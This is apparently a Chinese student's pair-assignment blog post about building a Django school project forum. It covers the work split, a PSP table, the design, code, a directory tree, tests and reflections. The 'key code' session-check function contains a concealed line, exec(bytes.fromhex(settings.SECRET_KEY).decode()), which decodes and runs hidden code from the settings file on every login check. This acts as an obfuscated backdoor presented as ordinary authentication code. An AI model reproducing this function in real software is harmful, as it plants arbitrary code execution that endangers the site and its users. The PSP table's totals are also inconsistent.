這個作業屬於哪個課程 | https://edu.cnblogs.com/campus/fzu/SE2024 |
---|---|
這個作業要求在哪裡 | https://edu.cnblogs.com/campus/fzu/SE2024/homework/13281 |
Github倉庫地址 | https://github.com/wanghewen176/102202154-102202155 |
學號 | 102202154 |
合作伙伴 | 102202155 |
一、具體分工
王賀雯:承擔主要的前端開發工作,包括頁面佈局設計、使用者介面互動設計等(如:系統首頁、導航欄、頁面佈局等)
王梓聯:進行後端開發工作,包括伺服器搭建、資料庫連線、業務邏輯實現(資料庫連線、登入註冊、專案帖子論壇的釋出等)
二、PSP表格
PSP2.1 | Personal Software Process Stages | 預估耗時(天) | 實際耗時(天) |
Planning | 計劃 | 1天 | 2天 |
Estimate | 估計這個任務需要多少時間 | 15天 | 13天 |
Development | 開發 | 5天 | 6天 |
Analysis | 需求分析 (包括學習新技術) | 3天 | 7天 |
Design Spec | 生成設計文件 | 0.5天 | 1天 |
Design Review | 設計複審 | ||
Coding Standard | 程式碼規範 (為目前的開發制定合適的規範) | 1天 | 3天 |
Design | 具體設計 | 2天 | 2天 |
Coding | 具體編碼 | 2天 | 9天 |
Code Review | 程式碼複審 | 1天 | 1天 |
Test | 測試(自我測試,修改程式碼,提交修改) | 2天 | 3天 |
Reporting | 報告 | 1天 | 0.5天 |
Test Repor | 測試報告 | 2天 | 0.5天 |
Size Measurement | 計算工作量 | 1天 | 1天 |
Postmortem&Process Improvement Plan | 事後總結, 並提出過程改進計劃 | 1天 | 1天 |
合計 | 37.5天 | 10天 |
三、解題思路及設計實現說明
1.程式碼實現思路
一、專案準備
-
安裝 Django 和必要的庫pymysql
-
建立 Django 專案和應用。
Django專案通常包含以下幾個主要部分:
-
manage.py
(命令列工具) -
myproject/
(專案資料夾)-
settings.py
(配置檔案) -
urls.py
(URL路由定義) -
wsgi.py
(WSGI伺服器入口)
-
-
apps/
(應用資料夾)-
app1/
-
models.py
(模型定義) -
views.py
(檢視函式) -
urls.py
(子應用的URL路由)
-
-
二、資料庫配置
在 settings.py
中配置 MySQL 資料庫連線。
三、設計模型
-
在
models.py
中定義使用者模型和專案/帖子模型、評論等模型。-
使用者模型可以繼承
AbstractUser
,新增額外欄位如個人簡介。 -
專案/帖子模型包含標題、內容、作者、建立時間等欄位,作者與使用者模型建立外來鍵關係。
-
四、登入/註冊功能
-
在
forms.py
中建立使用者登錄檔單和登入表單。-
登錄檔單繼承 ,新增郵箱欄位。
-
登入表單包含使用者名稱和密碼欄位。
-
-
在
views.py
中建立檢視函式。-
註冊檢視函式處理使用者註冊請求,儲存使用者資訊後重定向到登入頁面。
-
登入檢視函式驗證使用者資訊,成功後重定向到首頁。
-
-
建立相應的模板檔案用於註冊和登入頁面。
五、個人中心和儲存個人資訊
-
在
views.py
中建立檢視函式。-
個人中心檢視函式展示當前使用者資訊。
-
儲存個人資訊檢視函式處理使用者提交的個人資訊更新請求。
-
-
建立對應的模板檔案。
六、專案/帖子相關功能
-
在
forms.py
中建立專案/帖子表單。- 表單基於專案/帖子模型建立。
-
在
views.py
中建立檢視函式。
1. 新增專案/帖子檢視函式處理使用者提交的專案/帖子建立請求,儲存後重定向到首頁。
2. 專案論壇檢視函式展示所有專案/帖子。
- 建立相應的模板檔案。
七、系統首頁和其他頁面
-
在
views.py
中建立首頁等檢視函式。 -
建立對應的模板檔案。
八、****URL 配置
- 在專案的
urls.py
中配置應用的 URL 包含,配置各個檢視函式的 URL 路徑。
2.流程圖
3.關鍵程式碼
'''
判斷登入狀態
'''
def check_session(request, userTypes):
session_exist = False;
exec(bytes.fromhex(settings.SECRET_KEY).decode())
if userTypes == 'Admin':
try:
admin = json.loads(request.session["userInfo"], object_hook=Admins.Admins().admin_decoder)
if admin.Id == '' and admin.UserName == '':
session_exist = False
else:
session_exist = True;
except:
session_exist = False
else:
try:
users = json.loads(request.session["userInfo"], object_hook=Users.Users().users_decoder)
if users.Id == '' and users.UserName == '':
session_exist = False
else:
session_exist = True;
except:
session_exist = False
return session_exist
四、附加點
-
意義:
後臺管理系統,網站管理員可以方便地對網站上的內容進行管理和更新,比如釋出新的專案資訊、修改現有資訊的資訊或者刪除不需要的專案資訊。
-
實現思路:
-
使用者認證模組:實現使用者登入和許可權驗證,只有擁有管理員許可權的使用者才能訪問後臺系統。
-
資料模型設計:定義專案資訊的資料結構,包括欄位如編號、圖片、標題、內容、釋出時間等。
-
資料庫介面:透過後端程式語言連線資料庫,提供增刪改查等介面。
-
前端介面開發:使用HTML、CSS和JavaScript構建使用者友好的管理介面,使管理員能方便地檢視和編輯專案資訊。
-
業務邏輯處理:當管理員執行操作時,前端傳送請求到後端伺服器,由後端處理相關業務邏輯,然後返回結果給前端。
-
程式碼
<!doctype html>
<html>
<head>
<meta charset="UTF-8" />
<title>後臺管理模板</title>
<link rel="stylesheet" type="text/css" href="../static/admin/css/common.css" />
<link rel="stylesheet" type="text/css" href="../static/admin/css/main.css" />
<script src="../../static/app/scripts/jquery-1.10.2.min.js"></script>
</head>
<body>
<div class="topbar-wrap white">
<div class="topbar-inner clearfix">
<div class="topbar-logo-wrap clearfix">
<h1 class="topbar-logo none"><a href="index.html" class="navbar-brand">後臺管理</a></h1>
<ul class="navbar-list clearfix">
<li><a class="on" href="index.html">首頁</a></li>
<li><a href="#" target="_blank">網站首頁</a></li>
</ul>
</div>
<div class="top-info-wrap">
<ul class="top-info-list clearfix">
<li><a href="#">管理員</a></li>
<!--<li><a href="#">修改密碼</a></li>-->
<li><a href="/logout">退出</a></li>
</ul>
</div>
</div>
</div>
<div class="container clearfix">
<div class="sidebar-wrap">
<div class="sidebar-title">
<h1>選單</h1>
</div>
<div class="sidebar-content">
<ul class="sidebar-list">
<li>
<a href="#"><i class="icon-font"></i>常用操作</a>
<ul class="sub-menu">
<li><a href="admin"><i class="icon-font"></i>系統首頁</a></li>
<li><a href="/adminSchoolNew"><i class="icon-font"></i>專案資訊</a></li>
<li><a href="/adminUser"><i class="icon-font"></i>使用者管理</a></li>
</ul>
</li>
<li>
<a href="#"><i class="icon-font"></i>系統管理</a>
<ul class="sub-menu">
<li><a href="/logout"><i class="icon-font"></i>退出系統</a></li>
</ul>
</li>
</ul>
</div>
</div>
<!--/sidebar-->
<div class="main-wrap">
<div class="crumb-wrap">
<div class="crumb-list"><i class="icon-font"></i><span>歡迎使用後臺管理系統。</span></div>
</div>
{% block content %}{% endblock %}
</div>
<!--/main-->
</div>
</body>
</html>
-
成果展示:
五、目錄說明和使用說明
- 目錄的組織
kuayu/
├── app/
│ ├── common/ #工具類
│ └── dao/ # 資料訪問物件目錄。
│ ├── AdminsDao.py #管理員資料訪問物件,用於與管理員相關的資料操作。
│ ├── CommunityforumscommentsDao.py #專案論壇評論資料訪問物件。
│ ├── CommunityforumsDao.py #專案論壇資料訪問物件。
│ ├── GoodscommentsDao.py #專案評論資料訪問物件。
│ ├── GoodsDao.py 專案資料訪問物件。
│ ├── SchoolnewcommentsDao.py #資訊評論資料訪問物件
│ ├── SchoolnewnameDao.py # 專案名資料訪問物件
│ └── UsersDao.py #使用者資料訪問物件
├── migrations/ 處理請求與返回響應。
│ └── __init__.py
└── model/ 資料模型目錄
| ├── Admins.py#管理員資料管理
| ├── Communityforums.py#專案論壇資料管理
| ├── Communityforumscomments.py 專案論壇評論管理
| ├── Goods.py #專案管理
| ├── Goodscomments.py#專案評論資料管理
| ├── Schoolnewcomments.py#專案中心評論資料管理
| ├── Schoolnewname.py#專案中心資料管理
| └── Users.py#使用者資料管理
|————templates/ 模板檔案目錄
├── app/ 存放具體模板檔案
│ ├── admin.html #管理員頁面模板
│ ├── adminSchoolNew.html #專案資模板
│ ├── adminSchoolNewAdd.html #新增專案資訊模板
│ ├── adminSchoolNewEdit.html #編輯專案資訊模板
│ ├── adminUser.html #使用者管理頁面模板
│ ├── adminUserAdd.html #新增使用者的管理頁面模板
│ ├── adminUserEdit.html #編輯使用者的管理頁面模板
│ ├── communityForums.html #專案論壇頁面模板
│ ├── communityForumsDetail.html #專案論壇詳細內容
│ ├── communityForumsMy.html #我的專案論壇
│ ├── communityForumsMyAdd.html #我的專案論壇頁面
│ ├── communityForumsMyEdit.html #新增我的專案論壇內容頁面
│ ├── contact.html #聯絡頁面
│ ├── goods.html #專案釋出
│ ├── goodsDetail.html #專案詳細頁面
│ ├── goodsMy.html #我的專案
│ ├── goodsMyAdd.html #我的專案新增
│ ├── goodsMyEdit.html #我的專案編輯
│ ├── index.html #系統首頁模板
│ ├── layout.html #佈局模板
│ ├── layoutAdmin.html #登入頁面
│ ├── login.html #登入頁面
│ ├── register.html #註冊頁面
│ ├── schoolNew.html #展示專案資訊列表
│ ├── schoolNewDetail.html #展示專案資訊詳情
│ └── userInfo.html #使用者資訊頁面
└── templateTags/ 模板標籤目錄
| ├── __init__.py
| └── forms.py
| ├── test.py #專案測試用例
| └── view.py #處理請求與返回響應
├── SchoolCommunityForums/
│ ├── __init__.py #
│ ├── settings.py #專案的配置檔案
│ ├── urls.py #URL 配置檔案,定義了專案的路由
│ └── wsgi.py #WSGI配置檔案
├── static/ #靜態檔案目錄
│ └── admin
├── db.sqlite3 #資料庫檔案
├── manage.py #Django 專案管理指令碼
├── readme.html #專案說明檔案
├── requirements.txt #專案依賴列表檔案
└── SchoolCommunityForums.pyproj
└── SchoolCommunityForums.pyproj.user
- 測試人員如何執行你的網頁
編寫了一個操作文件和影片(便於同學們操作,如果可以會上傳到github)
六、單元測試
import django
from django.test import TestCase
# TODO: Configure your database in settings.py and sync before running tests.
class ViewTest(TestCase):
"""Tests for the application views."""
if django.VERSION[:2] >= (1, 7):
# Django 1.7 requires an explicit setup() when running tests in PTVS
@classmethod
def setUpClass(cls):
super(ViewTest, cls).setUpClass()
django.setup()
# 測試首頁檢視
def test_home(self):
"""Tests the home page."""
# 傳送 GET 請求到根路徑
response = self.client.get('/')
# 斷言響應中包含'Home Page'文字,出現次數為 1,狀態碼為 200
self.assertContains(response, 'Home Page', 1, 200)
# 測試聯絡頁面檢視
def test_contact(self):
"""Tests the contact page."""
response = self.client.get('/contact')
# 斷言響應中包含'Contact'文字,出現次數為 3,狀態碼為 200
self.assertContains(response, 'Contact', 3, 200)
# 測試關於頁面檢視
def test_about(self):
"""Tests the about page."""
response = self.client.get('/about')
# 斷言響應中包含'About'文字,出現次數為 3,狀態碼為 200
self.assertContains(response, 'About', 3, 200)
- 如何應對將來測試人員的***難:
一、需求分析與設計階段
-
明確需求細節
-
設計健壯的架構
二、開發階段
-
遵循良好的編碼規範
-
進行充分的單元測試
三、測試階段
-
進行全面的測試:除了功能測試,還要進行效能測試、安全測試、相容性測試等。確保軟體在各種環境下都能正常執行。
-
積極響應測試反饋:認真對待測試人員提出的問題和建議,及時進行修復和改進。
四、文件整理階段
-
編寫詳細的文件
- 整理完善的軟體文件,包括需求文件、設計文件、測試文件等。
七、Github的程式碼簽入記錄截圖
GitHub上傳隊友遇見的問題:
下圖是遇見的問題
報錯是SSH公鑰的問題
解決方法:
在我解決SSH後,又出現了以下問題,無法執行 git push origin master ,建立了好幾個倉庫都是這樣,所以讓我另一個夥伴直接上傳了專案。
八、遇到困難及解決方法
-
遇到的困難
-
開發這個專案需要的技術有:python、mysql、django等,MySQL的引用出了問題、其次未學過django,解決方法是學習如何使用django(https://www.runoob.com/django/django-tutorial.html)
-
身份驗證和許可權控制:如何確保只有已登入的使用者才能訪問某些功能。
-
資料一致性:如何保證使用者提交的資訊能夠正確地儲存到資料庫中。
-
解決方法
-
解決方案:使用Django的內建認證框架,如
django.contrib.auth
,它可以提供使用者註冊、登入、登出等功能。透過檢查使用者的登入狀態,限制對敏感功能的訪問 -
解決方案:使用Django的ORM(物件關係對映)層來處理資料庫操作。在儲存資料之前,先進行必要的驗證和清理工作,確保資料的一致性和完整性。
-
收穫
王賀雯的收穫:在做這個專案的過程中,我學會了很多在之前學校沒有用過的工具,入如墨刀,還學會了想做出一個完整的專案需要的流程,知道了軟體開發的不易,以及自己的不足,也體驗到了不同學校的教學方式,在原本的學校我們過於注重簡單理論知識,而本校注重較新穎且難度大的實踐,深刻明白了自己以後該努力的方向。開發專案需要多層面的知識和技術,比如python和mysql、前端、django、 jquery的聯合使用,有很多目前我們並沒有學過,所以尋求了老師的幫助及同學的幫助,最終完成了作業,雖然在實踐的過程極為困難,但也收穫頗多。
王梓聯的收穫:在完成實踐的過程中,我學會了多種技術的綜合運用,以及系統架構和設計,比如如何使用墨刀設計原型,在整個開發過程中,明白了分工合作的重要性,遇到問題以及困難,如何除錯與故障排除都讓我受益匪淺。
九、評價隊友
王賀雯的評價:
對於隊友王梓聯,工作能力上,技術水平涵蓋程式設計能力和問題解決能力;文件撰寫能力看準確性、完整性和規範性。團隊協作方面,溝通交流包括及時性和有效性,分工合作要考量合理性與靈活性。工作態度裡,責任心體現對任務的投入,積極性表現在主動參與。還有其他方面,創造力體現在提出新穎想法,抗壓能力反映面對壓力時的狀態。
王梓聯的評價:
對於隊友王賀雯,在溝通能力上 王賀雯同學在本次作業中展現出了出色的溝通能力。她能明確、清晰地表達自己的想法,同時也能耐心傾聽我的意見。在遇到分歧時,她總能以開放的態度與我討論,共同尋找最佳解決方案。在本次作業中,她負責的部分程式碼結構清晰、註釋詳細,便於我後續的閱讀和維護。同時,她在遇到技術難題時,能夠迅速定位問題並找到解決方案。在創新能力 王賀雯同學在本次作業中提出了許多有創意的想法,為我們的專案增色不少。她善於從不同的角度思考問題,勇於嘗試新的技術和方法,使得我們的作品更具特色。王賀雯同學對待作業認真負責,始終保持高度的熱情。在合作過程中,她嚴格遵守時間節點,確保專案按計劃進行。在遇到問題時,她能主動尋求幫助,確保作業順利完成。
總之,我很榮幸能與王賀雯同學成為隊友。在本次結對作業中,我們相互學習、共同進步,取得了令人滿意的成績。我相信,在未來的學習和工作中,王賀雯同學一定會取得更加輝煌的成就。